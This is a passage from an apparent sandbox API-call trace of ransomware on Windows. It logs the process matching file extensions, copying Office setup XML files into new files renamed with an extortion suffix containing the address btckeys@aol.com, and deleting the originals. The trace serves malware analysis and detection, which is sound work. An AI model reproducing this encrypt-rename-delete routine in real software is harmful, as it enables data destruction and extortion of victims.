lstrlenW (lpString=".jpg") returned 4 [0070.485] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.486] lstrlenW (lpString=".doc") returned 4 [0070.486] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.486] lstrlenW (lpString=".docx") returned 5 [0070.486] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0070.486] lstrlenW (lpString=".pdf") returned 4 [0070.486] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.486] lstrlenW (lpString=".xls") returned 4 [0070.486] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.486] lstrlenW (lpString=".xlsx") returned 5 [0070.486] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0070.486] lstrlenW (lpString=".ppt") returned 4 [0070.486] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.486] lstrlenW (lpString=".zip") returned 4 [0070.486] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.486] lstrlenW (lpString=".rar") returned 4 [0070.486] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.486] lstrlenW (lpString=".bz2") returned 4 [0070.486] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.486] lstrlenW (lpString=".7z") returned 3 [0070.486] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.486] lstrlenW (lpString=".dbf") returned 4 [0070.486] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.487] lstrlenW (lpString=".1cd") returned 4 [0070.487] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.487] lstrlenW (lpString=".jpg") returned 4 [0070.487] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.487] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0070.487] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0070.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0070.488] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1231) returned 1 [0070.488] CloseHandle (hObject=0x1d8) returned 1 [0070.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0070.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0070.488] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.488] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0070.491] GetLastError () returned 0x0 [0070.491] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0070.493] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0070.494] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.494] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0070.494] SetEndOfFile (hFile=0x1fc) returned 1 [0070.494] CloseHandle (hObject=0x1fc) returned 1 [0070.495] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.495] SetEndOfFile (hFile=0x1d8) returned 1 [0070.496] CloseHandle (hObject=0x1d8) returned 1 [0070.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.497] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0070.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.497] lstrlenW (lpString=".doc") returned 4 [0070.497] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.497] lstrlenW (lpString=".docx") returned 5 [0070.498] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0070.498] lstrlenW (lpString=".pdf") returned 4 [0070.498] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.498] lstrlenW (lpString=".xls") returned 4 [0070.498] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.498] lstrlenW (lpString=".xlsx") returned 5 [0070.498] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0070.498] lstrlenW (lpString=".ppt") returned 4 [0070.498] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.498] lstrlenW (lpString=".zip") returned 4 [0070.498] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.498] lstrlenW (lpString=".rar") returned 4 [0070.498] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.498] lstrlenW (lpString=".bz2") returned 4 [0070.498] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.498] lstrlenW (lpString=".7z") returned 3 [0070.498] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.498] lstrlenW (lpString=".dbf") returned 4 [0070.498] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.498] lstrlenW (lpString=".1cd") returned 4 [0070.498] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.498] lstrlenW (lpString=".jpg") returned 4 [0070.499] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.499] lstrlenW (lpString=".doc") returned 4 [0070.499] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.499] lstrlenW (lpString=".docx") returned 5 [0070.499] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0070.499] lstrlenW (lpString=".pdf") returned 4 [0070.499] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.499] lstrlenW (lpString=".xls") returned 4 [0070.499] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.499] lstrlenW (lpString=".xlsx") returned 5 [0070.499] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0070.499] lstrlenW (lpString=".ppt") returned 4 [0070.499] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.499] lstrlenW (lpString=".zip") returned 4 [0070.499] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.499] lstrlenW (lpString=".rar") returned 4 [0070.499] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.499] lstrlenW (lpString=".bz2") returned 4 [0070.499] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.499] lstrlenW (lpString=".7z") returned 3 [0070.499] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.500] lstrlenW (lpString=".dbf") returned 4 [0070.500] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.500] lstrlenW (lpString=".1cd") returned 4 [0070.500] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0070.500] lstrlenW (lpString=".jpg") returned 4 [0070.500] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.500] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0070.500] lstrlenW (lpString="SETUP.XML") returned 9 [0070.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0070.501] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1852) returned 1 [0070.501] CloseHandle (hObject=0x1d8) returned 1 [0070.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0070.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0070.501] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.501] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0070.502] GetLastError () returned 0x0 [0070.502] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x73c, lpOverlapped=0x0) returned 1 [0070.504] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x740, lpOverlapped=0x0) returned 1 [0070.505] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.505] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0070.505] SetEndOfFile (hFile=0x1fc) returned 1 [0070.505] CloseHandle (hObject=0x1fc) returned 1 [0070.506] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.506] SetEndOfFile (hFile=0x1d8) returned 1 [0070.508] CloseHandle (hObject=0x1d8) returned 1 [0070.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.508] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0070.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.509] lstrlenW (lpString=".doc") returned 4 [0070.509] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.509] lstrlenW (lpString=".docx") returned 5 [0070.509] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0070.509] lstrlenW (lpString=".pdf") returned 4 [0070.509] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.509] lstrlenW (lpString=".xls") returned 4 [0070.509] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.509] lstrlenW (lpString=".xlsx") returned 5 [0070.509] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0070.509] lstrlenW (lpString=".ppt") returned 4 [0070.509] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.509] lstrlenW (lpString=".zip") returned 4 [0070.509] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.509] lstrlenW (lpString=".rar") returned 4 [0070.509] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.509] lstrlenW (lpString=".bz2") returned 4 [0070.509] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.509] lstrlenW (lpString=".7z") returned 3 [0070.509] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.510] lstrlenW (lpString=".dbf") returned 4 [0070.510] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.510] lstrlenW (lpString=".1cd") returned 4 [0070.510] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.510] lstrlenW (lpString=".jpg") returned 4 [0070.510] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.510] lstrlenW (lpString=".doc") returned 4 [0070.510] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.510] lstrlenW (lpString=".docx") returned 5 [0070.510] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0070.510] lstrlenW (lpString=".pdf") returned 4 [0070.510] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.510] lstrlenW (lpString=".xls") returned 4 [0070.510] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.510] lstrlenW (lpString=".xlsx") returned 5 [0070.510] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0070.510] lstrlenW (lpString=".ppt") returned 4 [0070.510] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.511] lstrlenW (lpString=".zip") returned 4 [0070.511] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.511] lstrlenW (lpString=".rar") returned 4 [0070.511] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.511] lstrlenW (lpString=".bz2") returned 4 [0070.511] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.511] lstrlenW (lpString=".7z") returned 3 [0070.511] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.511] lstrlenW (lpString=".dbf") returned 4 [0070.511] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.511] lstrlenW (lpString=".1cd") returned 4 [0070.511] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0070.511] lstrlenW (lpString=".jpg") returned 4 [0070.511] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.511] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0070.511] lstrlenW (lpString="BRANDING.XML") returned 12 [0070.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0070.513] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=596341) returned 1 [0070.513] CloseHandle (hObject=0x1d8) returned 1 [0070.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0070.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0070.513] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.513] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0070.515] GetLastError () returned 0x0 [0070.515] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x91975, lpOverlapped=0x0) returned 1 [0070.862] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0070.870] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.870] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.870] SetEndOfFile (hFile=0x1fc) returned 1 [0070.870] CloseHandle (hObject=0x1fc) returned 1 [0070.883] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.883] SetEndOfFile (hFile=0x1d8) returned 1 [0070.887] CloseHandle (hObject=0x1d8) returned 1 [0070.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.887] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0070.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0070.888] lstrlenW (lpString=".doc") returned 4 [0070.888] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.888] lstrlenW (lpString=".docx") returned 5 [0070.888] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0070.888] lstrlenW (lpString=".pdf") returned 4 [0070.888] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.888] lstrlenW (lpString=".xls") returned 4 [0070.888] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.888] lstrlenW (lpString=".xlsx") returned 5 [0070.888] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0070.888] 